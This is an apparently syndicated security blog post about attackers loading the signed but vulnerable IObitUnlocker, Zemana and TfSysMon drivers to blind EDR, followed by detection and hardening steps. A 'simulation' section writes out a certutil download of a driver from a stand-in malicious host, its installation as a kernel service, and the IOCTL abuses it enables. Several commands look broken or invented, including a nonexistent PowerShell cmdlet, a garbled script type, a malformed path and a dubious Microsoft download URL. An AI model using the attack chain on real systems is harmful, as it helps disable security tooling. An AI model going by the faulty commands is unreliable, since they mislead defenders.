Hackers’ New Playbook: Exploiting IObitUnlocker, Zemana, and TfSysMon Drivers – Are You Protected? + Video

Listen to this Post

Featured Image

Introduction:

Living‑Off‑the‑Land Drivers (LOLDrivers) are signed, legitimate third‑party kernel drivers that attackers repurpose to bypass security controls, disable EDRs, and gain ring‑0 persistence. The recent addition of real‑world vulnerable samples – IObitUnlocker, Zemana, and TfSysMon – to the MagicSword LOLDrivers project underscores an urgent reality: what defenders treat as benign utilities can become operational weaponry in a Bring Your Own Vulnerable Driver (BYOVD) attack.

Learning Objectives:

  • Understand how vulnerable drivers like IObitUnlocker, Zemana, and TfSysMon are abused to achieve kernel‑level code execution and evade endpoint detection.
  • Learn to enumerate, verify, and detect vulnerable drivers on Windows systems using native tools and PowerShell scripts.
  • Implement defense‑in‑depth mitigations including HVCI, WDAC driver blocklists, and Sysmon‑based monitoring.

You Should Know:

  1. Unmasking the Vulnerable Drivers: IObitUnlocker, Zemana, and TfSysMon

These drivers expose dangerous functionality such as arbitrary process termination, physical memory read/write, and kernel object manipulation. Attackers exploit these capabilities after dropping the signed driver file onto a victim system.

Step‑by‑step guide to identify if these drivers are present on your Windows machine:

Step 1 – List all loaded kernel drivers

Open an elevated Command Prompt or PowerShell:

driverquery.exe /v /fo csv > drivers.csv

Or PowerShell:

Get-WinSystemDriver | Select-Object DriverName, DisplayName, Path, State

Step 2 – Search specifically for IObitUnlocker, Zemana, TfSysMon

Get-WinSystemDriver | Where-Object { $_.DriverName -match "IObitUnlocker|Zemana|TfSysMon" }

Alternatively, use `sc query` to check service existence:

sc query IobitUnlocker
sc query ZemanaAntiMalware
sc query TfSysMon

Step 3 – Verify digital signature

Using Sigcheck from Sysinternals:

sigcheck64.exe -nobanner -e C:\Windows\System32\drivers\iobitunlocker.sys

If the driver is signed by a trusted publisher but known to be vulnerable, it becomes a BYOVD candidate.

Step 4 – Check against the LOLDrivers community database
Use PowerShell to fetch the latest vulnerable driver list from the GitHub repository:

$loldrivers = Invoke-RestMethod -Uri "https://raw.githubusercontent.com/magicsword-io/LOLDrivers/main/drivers.json"
$loldrivers | Where-Object { $_.name -match "IObitUnlocker|Zemana|TfSysMon" }

Why they are dangerous – IObitUnlocker allows forced file deletion even from system paths, but older versions contain an unvalidated IOCTL that can be used to write arbitrary kernel memory. Zemana’s driver (ZemanaAntiMalware.sys) exposes process termination and registry protection bypasses. TfSysMon (part of Tencent’s security suite) can be tricked into disabling kernel callbacks, effectively blinding EDR.

  1. Living Off the Land Drivers (LOLDrivers) Attack Chain

Attackers follow a predictable pattern: deliver the signed vulnerable driver, install it as a service, load it, then exploit its flaws.

Step‑by‑step simulation (for authorized security testing only):

Step 1 – Acquire a vulnerable driver

Adversaries download the signed .sys file from a public repository or compromised vendor site. For example:

certutil.exe -urlcache -f https://malicious-host.com/iobitunlocker.sys iobitunlocker.sys

Step 2 – Install as a service

sc create IobitUnlocker binPath= "C:\path\to\iobitunlocker.sys" type= kernel start= demand

Step 3 – Start the driver (load into kernel)

sc start IobitUnlocker

Upon success, Event ID 7045 (Service Installation) and Event ID 6 (Driver Loaded) are generated.

Step 4 – Exploit the vulnerable IOCTL

Using a proof‑of‑concept utility (e.g., `DeviceIoControl` with calculated control codes), an attacker can:
– Terminate protected processes (EDR, AV)
– Read/write kernel memory → disable PatchGuard or SSDT hooks
– Elevate privileges from user to SYSTEM

Detection tip – Monitor for unexpected service creation with `Type = kernel` and Start = demand. Use Sysmon event ID 6 and 7045 with custom rules alerting on known vulnerable driver names.

  1. Defensive Enumeration: Scanning Your System for Risky Drivers

Proactive hunting is essential. Below is a PowerShell script that compares loaded drivers against the LOLDrivers list and highlights IObitUnlocker, Zemana, TfSysMon.

 PowerShell script: Invoke-LOLDriverAudit.ps1
param(
[bash]$LOLUrl = "https://raw.githubusercontent.com/magicsword-io/LOLDrivers/main/drivers.json"
)
$vulnDrivers = Invoke-RestMethod -Uri $LOLUrl
$loadedDrivers = Get-WinSystemDriver | Where-Object { $_.State -eq "Running" }

$results = @()
foreach ($driver in $loadedDrivers) {
$match = $vulnDrivers | Where-Object { $_.name -like "$($driver.DriverName)" }
if ($match) {
$results += [bash]@{
DriverName = $driver.DriverName
DisplayName = $driver.DisplayName
Path = $driver.Path
Vulnerabilities = $match.vulnerabilities -join ", "
}
}
}
$results | Format-Table -AutoSize

For filter drivers (minifilters), use:

fltmc filters

Look for IoBitUnlocker, Zemana, or `TsFltMgr` which may indicate the vulnerable component is active.

Windows native command to dump all driver signatures and verify trust:

dir /s C:\Windows\System32\drivers.sys | findstr /i "iobit zemana tfsysmon"
  1. Hardening Windows Against BYOVD (Bring Your Own Vulnerable Driver)

Microsoft provides robust mechanisms to block known vulnerable drivers. Implement these steps immediately.

Step 1 – Enable Hypervisor‑protected Code Integrity (HVCI)

HVCI (Memory Integrity) prevents unsigned or untrusted drivers from loading and blocks many exploitation techniques.
– Via GUI: Windows Security → Device Security → Core Isolation → Memory Integrity → On.
– Via Registry:

reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" /v "Enabled" /t REG_DWORD /d 1 /f

Step 2 – Deploy Microsoft’s Driver Blocklist

Microsoft maintains a blocklist for drivers known to be abused. Apply it via Group Policy:

 Download the latest blocklist XML from Microsoft
Invoke-WebRequest -Uri "https://download.microsoft.com/download/5/8/9/589A6C7E-9B2F-4E9F-9A6D-9C3E9B9E8F1E/DriverSiPolicy.p7b" -OutFile DriverSiPolicy.p7b
 Convert and apply

Step 3 – Use WDAC with explicit deny rules
Create a Windows Defender Application Control policy that blocks any driver with specific hash or publisher.

 Generate a base policy
New-CIPolicy -FilePath C:\WDAC\BasePolicy.xml -Level Publisher
 Add deny rule for the vulnerable driver hash
Add-CIPolicyRule -FilePath C:\WDAC\BasePolicy.xml -Deny -DriverFile "C:\path\to\iobitunlocker.sys"
 Convert to binary and deploy
ConvertFrom-CIPolicy -XmlFilePath C:\WDAC\BasePolicy.xml -BinaryFilePath C:\WDAC\BasePolicy.bin
Copy-Item C:\WDAC\BasePolicy.bin C:\EFI\Microsoft\Boot\SiPolicy.p7b

Step 4 – Enable Driver Blocklist via Registry

For Windows 10/11 Pro/Enterprise:

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\DeviceGuard" /v "RequireMicrosoftSignedDrivers" /t REG_DWORD /d 1 /f

These controls will block IObitUnlocker, Zemana, and TfSysMon if they appear in Microsoft’s telemetry‑driven blocklist or your custom policy.

  1. Advanced Detection: Hunting Driver Abuse with Sysmon and EDR

Proactive detection requires logging driver load events and correlating them with known vulnerable driver hashes.

Step 1 – Install and configure Sysmon

Download Sysmon from Microsoft Sysinternals. Create a configuration file sysmon-driver.xml:

<Sysmon schemaversion="4.90">
<EventFiltering>
<DriverLoad onmatch="include">
<Image condition="contains">iobitunlocker.sys</Image>
<Image condition="contains">zemana</Image>
<Image condition="contains">tfsysmon.sys</Image>
</DriverLoad>
<!-- Also log all driver loads for anomaly detection -->
<DriverLoad onmatch="exclude"/>
</EventFiltering>
</Sysmon>

Install Sysmon:

sysmon64.exe -accepteula -i sysmon-driver.xml

Step 2 – Monitor Event ID 7045 (Service installation)

Use PowerShell to query the Security event log:

Get-WinEvent -FilterHashtable @{LogName='System'; ID=7045} | Where-Object { $_.Message -match "IObitUnlocker|Zemana|TfSysMon" }

Step 3 – Centralized hunting with Splunk/ELK

Forward Sysmon events (Event ID 6 – Driver Loaded) and System log (Event ID 7045). Create a detection rule:

index=windows sourcetype="WinEventLog:System" EventCode=7045 Service_File_Name IN ("iobitunlocker.sys","zemana.sys","tfsysmon.sys") | stats count by ComputerName, Service_File_Name

Step 4 – Use EDR specific queries

For CrowdStrike or SentinelOne, query:

DriverLoadInfo.FileName = "iobitunlocker.sys" OR DriverLoadInfo.FileName CONTAINS "zemana"

6. Linux Parallels: Kernel Module Risks (Bonus)

While the primary attack surface is Windows, Linux faces analogous risks with unsigned or vulnerable kernel modules (LKMs). Attackers can use `insmod` to load a malicious module if they have root privileges – or exploit a vulnerability to gain kernel code execution.

Commands to enumerate loaded modules:

lsmod | grep -E "iobit|zemana|tfsysmon"  obviously not exact, but pattern
modinfo <module_name>

Blacklist suspicious modules:

echo "blacklist vulnerable_module" | sudo tee -a /etc/modprobe.d/blacklist.conf
sudo depmod -a
sudo update-initramfs -u

Check module signatures (if CONFIG_MODULE_SIG is enabled):

modinfo -F sig_id <module_name>

For Linux, the principle remains: treat third‑party kernel extensions as highly privileged attack surface. Use eBPF‑based security detectors (Falco, Tetragon) to block unauthorized module loads.

What Undercode Say:

  • Key Takeaway 1: Signed does not mean safe. IObitUnlocker, Zemana, and TfSysMon carry valid signatures but contain critical vulnerabilities that have been weaponized in the wild. Trust must be dynamic, not static.
  • Key Takeaway 2: The expansion of the LOLDrivers project with real‑world operational examples changes the defender’s calculus – you cannot rely on vendor patches alone. Proactive enumeration, HVCI, and WDAC driver blocklisting are mandatory for modern Windows environments.
  • The addition of these drivers mirrors a broader trend: attackers increasingly pivot to abusing legitimate but flawed kernel components to bypass EDR user‑mode hooks. Defenders must shift left – hardening the kernel‑loading path before installation occurs. Automated tools that ingest the LOLDrivers JSON and blocklist new entries within hours are the new baseline. Meanwhile, purple team exercises should include BYOVD simulations using these exact drivers to validate detection pipelines.

Prediction:

As Microsoft enforces tighter driver signing requirements (Windows 11 24H2 and beyond) and HVCI becomes the default on enterprise SKUs, attackers will migrate to abusing firmware vulnerabilities (UEFI rootkits), hypervisor‑based attacks, and exploiting insufficiently validated IOCTLs in security products themselves – because those often retain kernel access. Expect a surge in BYOVD attacks targeting EDR drivers (e.g., past examples with Avast, Gensun) and an arms race around kernel‑callback and object‑manager hooks. For defenders, the window to implement driver blocklisting and memory integrity is closing fast; those who delay will face silent, kernel‑deep compromises that survive OS reinstallation.

▶️ Related Video (82% Match):

🎯Let’s Practice For Free:

IT/Security Reporter URL:

Reported By: Weve Added – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow UndercodeTesting & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin | 🦋BlueSky